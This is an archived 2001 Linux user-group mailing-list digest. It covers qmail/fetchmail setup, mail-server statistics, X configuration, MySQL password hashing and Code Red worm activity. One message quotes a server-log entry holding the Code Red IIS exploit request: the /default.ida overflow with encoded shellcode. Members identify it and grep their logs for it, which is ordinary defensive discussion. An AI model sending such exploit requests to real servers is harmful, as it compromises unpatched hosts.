mail for me with fetchmail. Fetchmail sends it to the local SMTP daemon, which is Qmail. Qmail passes it off to procmail for delivery. All you really need to do is install Qmail and tell it you use procmail for delivery, which is one of the example boot files. Nate From atebbe at real-time.com Wed Aug 1 19:56:01 2001 From: atebbe at real-time.com (Amy Tanner) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] mail server statistics In-Reply-To: <3B68A2AA.5080609@qwest.net>; from mohmann@qwest.net on Wed, Aug 01, 2001 at 07:45:30PM -0500 References: <20010801180608.P12372@real-time.com> <3B68A2AA.5080609@qwest.net> Message-ID: <20010801195601.A24883@real-time.com> On Wed, Aug 01, 2001 at 07:45:30PM -0500, Marc Ohmann (mohmann@qwest.net) wrote: > I would think this stat would be difficult to come by since a lot of > smtp servers don't return a name or version in the smtp header for > security reasons. Yah, I just imagined someone would have done a study. I've seen numbers like 70% sendmail but don't know how accurate that is. > > Marc > > Amy Tanner wrote: > > >Anyone know of any URL with statistics on email server software usage? Like > >what % of mail servers are sendmail versus exchange? Any URLs appreciated. > >Thanks. > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- Amy Tanner Voice: 952.943.8700 Real Time Enterprises, Inc. Fax: 952.943.8500 amy@real-time.com http://www.real-time.com GPG Fingerprint: DAC7 E1B2 80D9 3099 1A20 0817 2DFE 5086 81B3 5466 From blutgens at sistina.com Wed Aug 1 20:04:33 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail In-Reply-To: <20010802024412.A84517@io.stderr.net>; from thomas@stderr.net on Thu, Aug 02, 2001 at 02:44:12AM +0200 References: <20010802024412.A84517@io.stderr.net> Message-ID: <20010801200433.A13522@minime.sistina.com> On Thu, Aug 02, 2001 at 02:44:12AM +0200, Thomas Eibner wrote: >Qmail should be able to deliver to Mailbox format style folders, you >need to start qmail like this: qmail-start ./Mailbox splogger qmail You mean Maildir? > >Pine with a patch (or does it finaly do this out of the box?) should >be able to read Maildirs though (Which is the default format qmail >stores mail as). > >You can still use procmail to process your mail by putting this in your >.qmail: |/var/qmail/bin/preline /usr/local/bin/procmail Procmail handles Maildir provided that the destination in the .procmailrc is a folder name as opposed to a filename. >.. > >-- > Thomas Eibner DnsZone > mod_pointer > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/7ea347c3/attachment.pgp From john at mn.mediaone.net Wed Aug 1 20:17:21 2001 From: john at mn.mediaone.net (johndmiller) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail In-Reply-To: <20010801195405.B6106@candle.mn.mediaone.net> Message-ID: I have my Fetchmail running as a demon. Start fetchmail -d 60 and fechmail will login and get your mail every 60 seconds. John On Wed, 1 Aug 2001, Nate Straz wrote: > On Wed, Aug 01, 2001 at 07:12:05PM -0500, johndmiller wrote: > > I have mediaone.one for an ISP and am using Fetchmail -> Procmail -> pine > > for my mail service. Is it possible to do Fetchmail -> Qmail then > > have pine retrive it off Qmail. I am thinking that I might be able to > > because Fetchmail takes the mail off the isp mail server and passes it to > > SMTP on the localmachine. > > That's about how I'm set up at the moment. I have a cron job that > fetches my mail for me with fetchmail. Fetchmail sends it to the local > SMTP daemon, which is Qmail. Qmail passes it off to procmail for > delivery. All you really need to do is install Qmail and tell it you > use procmail for delivery, which is one of the example boot files. > > Nate > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From nate at techie.com Wed Aug 1 20:27:59 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] mail server statistics In-Reply-To: <20010801195601.A24883@real-time.com>; from atebbe@real-time.com on Wed, Aug 01, 2001 at 07:56:01PM -0500 References: <20010801180608.P12372@real-time.com> <3B68A2AA.5080609@qwest.net> <20010801195601.A24883@real-time.com> Message-ID: <20010801202759.C6106@candle.mn.mediaone.net> On Wed, Aug 01, 2001 at 07:56:01PM -0500, Amy Tanner wrote: > On Wed, Aug 01, 2001 at 07:45:30PM -0500, Marc Ohmann (mohmann@qwest.net) wrote: > > I would think this stat would be difficult to come by since a lot of > > smtp servers don't return a name or version in the smtp header for > > security reasons. > > Yah, I just imagined someone would have done a study. I've seen numbers like > 70% sendmail but don't know how accurate that is. A simple search pulled this up: http://www.ohse.de/uwe/surveys/smtpauto.html It has the results of some older automated surveys. I haven't found anything similar to Netcraft for SMTP. As Marc noted, it would be hard to get good results because so many people hide what they run. Nate From joel at luths.net Wed Aug 1 20:40:32 2001 From: joel at luths.net (Joel Luth) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Q276304 - Error Message Your Password Must Be at Least 18770 Characters and Can References: <000901c11a4f$71702cc0$6601a8c0@oemcomputer> Message-ID: <010701c11af4$1e302a60$6601a8c0@cargill.com> Well ya gotta admit, >=18770 char password with 30689 changes between reuse is pretty secure. Also: "Note that the number of required characters changes from 17,145 to 18,770 with the installation of SP1." So SP1 is improving security. That ought to help clean up the Code Red black eye. ----- Original Message ----- From: Mark Browne To: tclug-list@mn-linux.org Sent: Wednesday, August 01, 2001 1:01 AM Subject: [TCLUG] Q276304 - Error Message Your Password Must Be at Least 18770 Characters and Can I would think this was a joke if I had not seen it on the micorsoft web site. Give micro$oft long enough and they will drive their own users to Linux out of disgust. http://support.microsoft.com/support/kb/articles/Q276/3/04.ASP?LN=EN-US&SD=tech&FR=0 -------------- next part -------------- An HTML attachment was scrubbed... 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Nate From andy at theasis.com Wed Aug 1 16:16:46 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] mail server statistics In-Reply-To: <20010801195601.A24883@real-time.com> Message-ID: > > I would think this stat would be difficult to come by since a lot of > > smtp servers don't return a name or version in the smtp header for > > security reasons. > > Yah, I just imagined someone would have done a study. I've seen numbers like > 70% sendmail but don't know how accurate that is. Someone has, but it's not publicly available. The 70% is not accurate. Despite being out of date, the numbers presented at http://www.ohse.de/uwe/surveys/smtpauto.html show a trend worth paying attention to. Also note the sampling method is reasonable. Andy From hick0088 at tc.umn.edu Wed Aug 1 21:30:33 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] mail server statistics In-Reply-To: <20010801195601.A24883@real-time.com> References: <20010801180608.P12372@real-time.com> <3B68A2AA.5080609@qwest.net> <20010801195601.A24883@real-time.com> Message-ID: <20010801213033.10bd058b.hick0088@tc.umn.edu> Amy Tanner wrote: > > Yah, I just imagined someone would have done a study. I've seen numbers > like 70% sendmail but don't know how accurate that is. I think that when people refer to those high numbers, they are referring to the number of messages handled at some point along their path by a Sendmail server. By the same logic, you could say that Cisco routers handle 99% of internet traffic. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Oops. My brain just hit a / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ bad sector. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/3180c3eb/attachment.pgp From hick0088 at tc.umn.edu Wed Aug 1 21:32:15 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010801121151.A14447@real-time.com> References: <20010801121151.A14447@real-time.com> Message-ID: <20010801213215.6991c1f5.hick0088@tc.umn.edu> Bob Tanner wrote: > > From the NANOG mailing list: > > > (david moore with help from a bunch of elves) > > http://www.caida.org/analysis/security/code-red/aug1-live-hosts.gif Hmm. Did I have a brainfart, or did I read that code red generates a new list of 100 IP addresses to attack each day? That would explain the numbers going up again around midnight GMT. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Curiouser and curiouser / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/055b9c0b/attachment.pgp From jethro at freakzilla.com Wed Aug 1 22:42:56 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] Debian and X 4.1.0 Message-ID: Hey, Well, my debian box finally upgraded itself to X 4.1.0. Now when I run X (via 'startx' or even just 'X') it says: (EE) Unable to locate/open config file (EE) Error from xf86HandleConfigFile() Fatal server error: no screens found My old /etc/X11/XF86Config file is still there. I can get X to run when I go: X -xf86config /etc/X11/XF86Config But this has two problems: (A) You can only do it as root. As a regular user, it refuses to accept a full path to the config file. Also, copying the config file to the current dir doesn't seem to work. (B) I can't seem to get it into the startx commandline - "startx -- -xf86config /etc/X11/XF86Config" just sits there. Any insight? -Yaron -- From bradyh at bitstream.net Wed Aug 1 22:53:54 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: <996705103.4886.69.camel@lis.llewellyn.com> References: <996705103.4886.69.camel@lis.llewellyn.com> Message-ID: <996724435.2196.140.camel@localhost.localdomain> > > I bought one of these yesterday and I can't get the mousewheel to work > > on my Redhat 7.1 box. It has a usb-to-9-pin adaptor which is probably > > what's causing the problem. I searched the web and found other people > > with questions but no answers. Has anyone here run into this? > > have you had scrollwheels working before? > do you have imwheel running? > do you have Option "ZAxisMapping" "4 5" > in your XF86Config-4 file? > > Carl Soderstrom. It was working before and that stuff is in my file. Perhaps this mouse doesn't pass the button 4 and 5 signals through the 9pin/USB adaptor? I'm not too familiar with how that works. I know my motherboard supports USB but I never hooked it up - perhaps I should go get a cable for that. Brady From dave at droyer.org Wed Aug 1 23:37:26 2001 From: dave at droyer.org (David Royer) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] Debian and X 4.1.0 In-Reply-To: Message-ID: Just a thought...you might have tried this already. Did the package install an /etc/X11/XF86Config-4 file? If so I bet that one is taking precidence and is probably not setup correctly. You might try moving that -4 file out of the way and trying it again. Dave On Wed, 1 Aug 2001, Yaron wrote: > Hey, > > Well, my debian box finally upgraded itself to X 4.1.0. Now when I run X > (via 'startx' or even just 'X') it says: > > (EE) Unable to locate/open config file > (EE) Error from xf86HandleConfigFile() > > Fatal server error: > no screens found > > My old /etc/X11/XF86Config file is still there. > > I can get X to run when I go: > > X -xf86config /etc/X11/XF86Config > > But this has two problems: > > (A) You can only do it as root. As a regular user, it refuses to accept a > full path to the config file. Also, copying the config file to the current > dir doesn't seem to work. > > (B) I can't seem to get it into the startx commandline - "startx -- > -xf86config /etc/X11/XF86Config" just sits there. > > Any insight? > > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blayer at qwest.net Thu Aug 2 00:22:47 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010801213215.6991c1f5.hick0088@tc.umn.edu> References: <20010801121151.A14447@real-time.com> <20010801213215.6991c1f5.hick0088@tc.umn.edu> Message-ID: <20010802002247.1ad299a8.blayer@qwest.net> On Wed, 1 Aug 2001 21:32:15 -0500 "Mike Hicks" wrote: > Hmm. Did I have a brainfart, or did I read that code red generates a new > list of 100 IP addresses to attack each day? That would explain the > numbers going up again around midnight GMT. The info that I heard, was that CodeRed starts 100 new threads on the comprimised host, each which in turn begins to send out attacks.. I don't recall where I saw this (naturally). -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From hick0088 at tc.umn.edu Thu Aug 2 00:35:44 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] firehose Message-ID: <20010802003544.7e620aee.hick0088@tc.umn.edu> Here you guys go -- when you really need bandwidth: http://heroinewarrior.com/firehose.php3 -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I came, I saw, I / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ conquered. -- Tux \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Erick From tanner at real-time.com Thu Aug 2 01:39:28 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] mysql password('') In-Reply-To: <3B691125.A6B77DB9@mn.mediaone.net>; from evisuale@mn.mediaone.net on Thu, Aug 02, 2001 at 01:36:53AM -0700 References: <3B691125.A6B77DB9@mn.mediaone.net> Message-ID: <20010802013928.F31747@real-time.com> Quoting Erick Stohr (evisuale@mn.mediaone.net): > Hello, I am using the password('mypassword') function to store > passwords, my question now is how do I pull the password un-encrypted? > Is that possible? Just looking for the SQL SELECT statement. Running > MySQL ofcourse. Thanks. No possible. It's encrypted one-way. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From evisuale at mn.mediaone.net Thu Aug 2 03:46:24 2001 From: evisuale at mn.mediaone.net (Erick Stohr) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] OT: stupid question Message-ID: <3B691360.497BC251@mn.mediaone.net> Just a question, as I am not too computer savvy, I have had Tomcat up and running for about 20 min now for a site I am working on locally, and I just saw this request come in: Full GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u 6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190 %u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0 Content-type: text/xmlHOST:www.worm.com Accept: */* Is this that Code Red worm? If yes, amazing, having my server up for such a short time and not serving a "real web site" and already getting hit. Erick From blayer at qwest.net Thu Aug 2 02:32:48 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <3B691360.497BC251@mn.mediaone.net> References: <3B691360.497BC251@mn.mediaone.net> Message-ID: <20010802023248.4257057c.blayer@qwest.net> On Thu, 02 Aug 2001 01:46:24 -0700 "Erick Stohr" wrote: > Is this that Code Red worm? Yes. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From eng at pinenet.com Thu Aug 2 02:37:55 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] RE: Kylix (Thanks).sdm In-Reply-To: References: Message-ID: <20010802.7375500@linwin.mshome.net> Thank you, your meeting sounds fun. But I'm not competent enough a programmer to make the trip from Isle, MN. I'm really learning which software systems might apply to different uses. I'm something of a Biophysicist. Twenty years ago I pushed the internet (or the fiber optic "neural network" grid, anyway). Now I'm pushing a new fuel cell "power grid" using "biomass" fuels. Basically, I'm a hardware guy. My wife works high up in a major food processing plant; more machinery. Instrumentation and controls are my interest. Linux is the only way to go. A GUI is important. A versatile GUI OOP IDE is a very big deal. The Borland Kylix compiled Pascal system is the best solution I've seen. I live at the end of the internet line out here. These big downloads take (frustrating) hours. I wish I had better access to the people you suggest. But for now, I have "hardware" to put together. Your information is appreciated and not a "shameless plug." Please keep me informed. Thanks, Rick. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/1/01, 12:47:32 PM, "Lee J. Behrens" wrote regarding [TCLUG] RE: Kylix (Thanks--No Thanks--Almost Thanks).sdm: > > Earlier, Kylix was promoted and trying Kylix open edition was encouraged. > > It sounded perfect for some of my interests. > > ... > > Frustrated, I tried to uninstall Kylix but could only delete what I could > > find on my system. > > ... > > So I went to Borland's site, went through their disfunctional > > registration process four or more times over two days and finally got the > > keys. Once successful, I then decided to download Borland's copy of > > Kylix_oe. When I opened their *.tar.gz the setup script was missing. > AFAIK, deleting the directory you installed Kylix to should remove it > completely. (Does not include RPM database entries or bug fixes to libc, > etc. that may have also been installed.) > I'm not sure why you had so much difficulty, but it definitely isn't unheard > of. Maybe one of their servers has a bad copy???? > For more info, you might try... > > Next Tuesday (August 7) evening is everyone's chance to share your > experiences in person with Anders Ohlsson. Anders is part of Borland's Kylix > team, so _maybe_ he has some insight into problems like this. He will be > here for the TC/PC Delphi/Kylix event at the Thunderbird Hotel in > Bloomington. The event is free and open to the public. See www.tcpc.com for > the latest info. > > Lee Behrens > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From mwagner at mysql.com Thu Aug 2 04:14:29 2001 From: mwagner at mysql.com (Matt Wagner) Date: Mon Jan 17 13:25:14 2005 Subject: [TCLUG] mysql password('') In-Reply-To: <3B691125.A6B77DB9@mn.mediaone.net> References: <3B691125.A6B77DB9@mn.mediaone.net> Message-ID: <15209.6645.891850.153134@evoq.mwagner.org> Erick Stohr writes: > Hello, I am using the password('mypassword') function to store > passwords, my question now is how do I pull the password un-encrypted? > Is that possible? Just looking for the SQL SELECT statement. Running > MySQL ofcourse. Thanks. Nope. Like Bob said, password() is a one-way encryption. If you're looking for two-way to use in your application, check out the encode()/decode() duo. http://www.mysql.com/doc/M/i/Miscellaneous_functions.html You have to then make sure to keep the encoding password secure. Regards, Matt -- For technical support contracts, visit https://order.mysql.com/ __ ___ ___ ____ __ / |/ /_ __/ __/ __ \/ / Mr. Matt Wagner / /|_/ / // /\ \/ /_/ / /__ MySQL AB, Herr Direktor /_/ /_/\_, /___/\___\_\___/ Hopkins, Minnesota USA <___/ www.mysql.com From kblack at isd.net Thu Aug 2 07:07:32 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] (no subject) Message-ID: <3b694284.328d.0@isd.net> I would think that would be easy, just check for broken implementations of standards, and voila! you have an exchange server! If not, probably not Exchange! Kelly ------------------------------------------------- Message: 9 Date: Wed, 01 Aug 2001 19:45:30 -0500 From: "Marc Ohmann" To: tclug-list@mn-linux.org Subject: Re: [TCLUG] mail server statistics Reply-To: tclug-list@mn-linux.org I would think this stat would be difficult to come by since a lot of smtp servers don't return a name or version in the smtp header for security reasons. Marc Amy Tanner wrote: >Anyone know of any URL with statistics on email server software usage? Like >what % of mail servers are sendmail versus exchange? Any URLs appreciated. >Thanks. > From kblack at isd.net Thu Aug 2 07:11:20 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red Message-ID: <3b694368.32b3.0@isd.net> I do believe I am seeing about 5x more hits last night than I did last month around the 19th to port 80 on a box not running a web server. Nice to see that zero administration of M$'s works so well! Kelly From florin at iucha.net Thu Aug 2 08:20:47 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red In-Reply-To: <3b694368.32b3.0@isd.net>; from kblack@isd.net on Thu, Aug 02, 2001 at 12:11:20PM +0000 References: <3b694368.32b3.0@isd.net> Message-ID: <20010802082047.A23470@beaver.iucha.org> On Thu, Aug 02, 2001 at 12:11:20PM +0000, kblack@isd.net wrote: > I do believe I am seeing about 5x more hits last night than I > did last month around the 19th to port 80 on a box not running > a web server. > $ grep Jun access_log | grep default.ida | wc -l 0 $ grep Jul access_log | grep default.ida | wc -l 27 $ grep Aug access_log | grep default.ida | wc -l 36 > Nice to see that zero administration of M$'s works so well! :) What do you want? MCSE... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From gabe at msi.umn.edu Thu Aug 2 08:23:23 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail In-Reply-To: <20010801200433.A13522@minime.sistina.com>; from blutgens@sistina.com on Wed, Aug 01, 2001 at 08:04:33PM -0500 References: <20010802024412.A84517@io.stderr.net> <20010801200433.A13522@minime.sistina.com> Message-ID: <20010802082323.C26464@monsoon.msi.umn.edu> > >Pine with a patch (or does it finaly do this out of the box?) should > >be able to read Maildirs though (Which is the default format qmail > >stores mail as). > > > >You can still use procmail to process your mail by putting this in your > >.qmail: |/var/qmail/bin/preline /usr/local/bin/procmail > > Procmail handles Maildir provided that the destination in the .procmailrc > is a folder name as opposed to a filename. Well, if you want procmail to be able to create new maildir folders, then you need to put a "/" on the end of the folder name in your procmail reciepe. That way, procmail will know it's maildir and not mbox. Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From veldy at veldy.net Thu Aug 2 08:25:06 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] mysql password('') References: <3B691125.A6B77DB9@mn.mediaone.net> Message-ID: <004a01c11b56$8ca31540$3028680a@tgt.com> I don't believe so. I believe that it simply stores the MD5 hash -- which is a one-way hashing function. You have to create a new password if you don't remember it. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Erick Stohr" To: Sent: Thursday, August 02, 2001 3:36 AM Subject: [TCLUG] mysql password('') > Hello, I am using the password('mypassword') function to store > passwords, my question now is how do I pull the password un-encrypted? > Is that possible? Just looking for the SQL SELECT statement. Running > MySQL ofcourse. Thanks. > > Erick > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From hick0088 at tc.umn.edu Thu Aug 2 08:37:17 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802082047.A23470@beaver.iucha.org> References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> Message-ID: <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> "Florin Iucha" wrote: > > $ grep Aug access_log | grep default.ida | wc -l > 36 Just in case anyone doesn't want to type that much ;-) grep Aug access_log | grep -c default.ida -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ :q! / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010802/6fca941f/attachment.pgp From gabe at msi.umn.edu Thu Aug 2 08:37:11 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] Debian and X 4.1.0 In-Reply-To: ; from jethro@freakzilla.com on Wed, Aug 01, 2001 at 10:42:56PM -0500 References: Message-ID: <20010802083711.D26464@monsoon.msi.umn.edu> On Wed, Aug 01, 2001 at 10:42:56PM -0500, Yaron wrote: > Hey, > > Well, my debian box finally upgraded itself to X 4.1.0. Now when I run X > (via 'startx' or even just 'X') it says: > > (EE) Unable to locate/open config file > (EE) Error from xf86HandleConfigFile() > > Fatal server error: > no screens found > > My old /etc/X11/XF86Config file is still there. > > I can get X to run when I go: > > X -xf86config /etc/X11/XF86Config > > But this has two problems: > > (A) You can only do it as root. As a regular user, it refuses to accept a > full path to the config file. Also, copying the config file to the current > dir doesn't seem to work. > > (B) I can't seem to get it into the startx commandline - "startx -- > -xf86config /etc/X11/XF86Config" just sits there. > > Any insight? When I installed X 4.1.0 (in gentoo Linux), it made me put the config file at /usr/X11R6/lib/X11/XF86Config. Maybe the same is required for you... Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From natecars at real-time.com Thu Aug 2 09:09:47 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> Message-ID: On Wed, 1 Aug 2001, Austad, Jay wrote: > Yeah, me too. Unfortunately, it keeps killing my 675. I have the web admin > disabled, but on certain releases of software, it still kills it. Since I'm > moving in a couple of weeks, I'm not too concerned about upgrading to the > latest release. Easy fix: change the web port. 'set web port NNNNN' -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From esper at sherohman.org Thu Aug 2 09:11:21 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <3B691360.497BC251@mn.mediaone.net>; from evisuale@mn.mediaone.net on Thu, Aug 02, 2001 at 01:46:24AM -0700 References: <3B691360.497BC251@mn.mediaone.net> Message-ID: <20010802091121.A17657@sherohman.org> On Thu, Aug 02, 2001 at 01:46:24AM -0700, Erick Stohr wrote: > Is this that Code Red worm? Yup. > If yes, amazing, having my server up for > such a short time and not serving a > "real web site" and already getting hit. Nope, not amazing at all. Code red doesn't follow links or anything like that, it just blasts itself at random IP addresses. Even if you haven't brought your machine up yet, it's no more or less likely to be targeted than, say, slashdot or google. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From natecars at real-time.com Thu Aug 2 09:11:53 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] Debian and X 4.1.0 In-Reply-To: Message-ID: On Wed, 1 Aug 2001, Yaron wrote: > Well, my debian box finally upgraded itself to X 4.1.0. Now when I run X > (via 'startx' or even just 'X') it says: > > (EE) Unable to locate/open config file > (EE) Error from xf86HandleConfigFile() > > Fatal server error: > no screens found > > My old /etc/X11/XF86Config file is still there. move /etc/X11/XF86Config to /etc/X11/XF86Config-4. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From florin at iucha.net Thu Aug 2 09:23:26 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802083717.2c3ae8eb.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Thu, Aug 02, 2001 at 08:37:17AM -0500 References: <3b694368.32b3.0@isd.net> <20010802082047.A23470@beaver.iucha.org> <20010802083717.2c3ae8eb.hick0088@tc.umn.edu> Message-ID: <20010802092325.A9425@beaver.iucha.org> On Thu, Aug 02, 2001 at 08:37:17AM -0500, Mike Hicks wrote: > "Florin Iucha" wrote: > > > > $ grep Aug access_log | grep default.ida | wc -l > > 36 > > Just in case anyone doesn't want to type that much ;-) > > grep Aug access_log | grep -c default.ida That's still too long... $ grep -cE "Aug.*default.ida" access_log 39 florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 2 09:36:02 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] OT: stupid question In-Reply-To: <20010802091121.A17657@sherohman.org>; from esper@sherohman.org on Thu, Aug 02, 2001 at 09:11:21AM -0500 References: <3B691360.497BC251@mn.mediaone.net> <20010802091121.A17657@sherohman.org> Message-ID: <20010802093602.B9425@beaver.iucha.org> On Thu, Aug 02, 2001 at 09:11:21AM -0500, Dave Sherohman wrote: > On Thu, Aug 02, 2001 at 01:46:24AM -0700, Erick Stohr wrote: > > Is this that Code Red worm? > > Yup. > > > If yes, amazing, having my server up for > > such a short time and not serving a > > "real web site" and already getting hit. > > Nope, not amazing at all. Code red doesn't follow links or anything > like that, it just blasts itself at random IP addresses. Even if > you haven't brought your machine up yet, it's no more or less likely > to be targeted than, say, slashdot or google. It's still amazing that a random host was punched 40 times... florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From esper at sherohman.org Thu Aug 2 09:45:32 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:15 2005 Subject: [TCLUG] snowed red In-Reply-To: <20010802092325.A9425@beaver.iucha.org>; from florin@iucha.net on Thu, Aug 02, 2001 at 